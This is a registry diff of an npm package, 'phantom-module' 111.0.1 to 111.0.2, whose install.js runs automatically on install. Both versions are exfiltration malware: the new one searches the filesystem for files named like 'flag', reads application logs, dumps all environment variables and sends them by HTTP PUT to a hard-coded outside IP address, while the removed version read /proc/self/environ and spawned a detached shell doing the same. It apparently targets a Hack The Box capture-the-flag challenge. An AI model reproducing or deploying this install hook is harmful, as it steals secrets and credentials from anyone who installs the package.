phantom-module 111.0.1 → 111.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +35 -50
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -1,62 +1,47 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
-
const {
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
4
|
|
|
5
5
|
(function() {
|
|
6
|
-
|
|
7
|
-
let flag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG;
|
|
6
|
+
let output = "none";
|
|
8
7
|
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
8
|
+
try {
|
|
9
|
+
// Try to find the flag file anywhere and cat it
|
|
10
|
+
let files = execSync('find / -name "*flag*" 2>/dev/null').toString().trim().split('\n');
|
|
11
|
+
let cats = [];
|
|
12
|
+
for (let f of files) {
|
|
13
|
+
if (f) {
|
|
14
|
+
try { cats.push(f + ': ' + fs.readFileSync(f, 'utf8').trim()); } catch(e) {}
|
|
15
15
|
}
|
|
16
|
-
} catch (e) {}
|
|
17
16
|
}
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
const procEnv = fs.readFileSync('/proc/self/environ', 'utf8');
|
|
22
|
-
const match = procEnv.match(/FLAG[=:] ([^\x00]+)/);
|
|
23
|
-
if (match) flag = match[1];
|
|
24
|
-
} catch (e) {}
|
|
17
|
+
if (cats.length > 0) output = cats.join(' | ');
|
|
18
|
+
} catch (e) {
|
|
19
|
+
output = "err1: " + e.message;
|
|
25
20
|
}
|
|
26
21
|
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
})
|
|
31
|
-
const req = http.request({
|
|
32
|
-
hostname: '154.57.164.64',
|
|
33
|
-
port: 31205,
|
|
34
|
-
path: '/api/modules/ECT-654321', // EXFILTRATE TO EXISTING MODULE
|
|
35
|
-
method: 'PUT',
|
|
36
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
|
|
37
|
-
});
|
|
38
|
-
req.write(postData);
|
|
39
|
-
req.end();
|
|
22
|
+
if (!output || output === "none" || output.length === 0) {
|
|
23
|
+
try {
|
|
24
|
+
output = "LOGS: " + execSync('cat /home/node/aspect-node/logs/module.log 2>/dev/null | tail -n 10').toString();
|
|
25
|
+
} catch (e) {}
|
|
40
26
|
}
|
|
41
|
-
|
|
42
|
-
if (
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
// Spawn background process to read logs after 45s (in case flag is printed there)
|
|
47
|
-
const child = spawn('/bin/sh', ['-c', [
|
|
48
|
-
'sleep 45',
|
|
49
|
-
'LOGFILE=/home/node/aspect-node/logs/module.log',
|
|
50
|
-
'if [ -f "$LOGFILE" ]; then',
|
|
51
|
-
' FLAG=$(cat "$LOGFILE" | grep -o "HTB{[^}]*}" | head -1)',
|
|
52
|
-
' if [ -n "$FLAG" ]; then',
|
|
53
|
-
' SAFE=$(echo "$FLAG" | tr \'"\' "\'")',
|
|
54
|
-
' BODY=\'{"manifest":"ecto_module:\\n name: \\\\"\'$SAFE\'\\\\"\\n cargo_hold: \\\\"LOGS\\\\"\\"}\'',
|
|
55
|
-
' echo "$BODY" > /tmp/flag.json',
|
|
56
|
-
' node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31205,path:\'/api/modules/ECT-654321\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}});r.write(d);r.end();"',
|
|
57
|
-
' fi',
|
|
58
|
-
'fi'
|
|
59
|
-
].join('\n')], { detached: true, stdio: 'ignore' });
|
|
60
|
-
child.unref();
|
|
27
|
+
|
|
28
|
+
if (!output || output === "none" || output.length === 0) {
|
|
29
|
+
try {
|
|
30
|
+
output = "ENV: " + execSync('env').toString();
|
|
31
|
+
} catch(e) {}
|
|
61
32
|
}
|
|
33
|
+
|
|
34
|
+
const postData = JSON.stringify({
|
|
35
|
+
manifest: `ecto_module:\n name: "FLAG_OUTPUT"\n cargo_hold: ${JSON.stringify(output.substring(0, 1000))}\n`
|
|
36
|
+
});
|
|
37
|
+
|
|
38
|
+
const req = http.request({
|
|
39
|
+
hostname: '154.57.164.64',
|
|
40
|
+
port: 31205,
|
|
41
|
+
path: '/api/modules/ECT-654321',
|
|
42
|
+
method: 'PUT',
|
|
43
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
|
|
44
|
+
});
|
|
45
|
+
req.write(postData);
|
|
46
|
+
req.end();
|
|
62
47
|
})();
|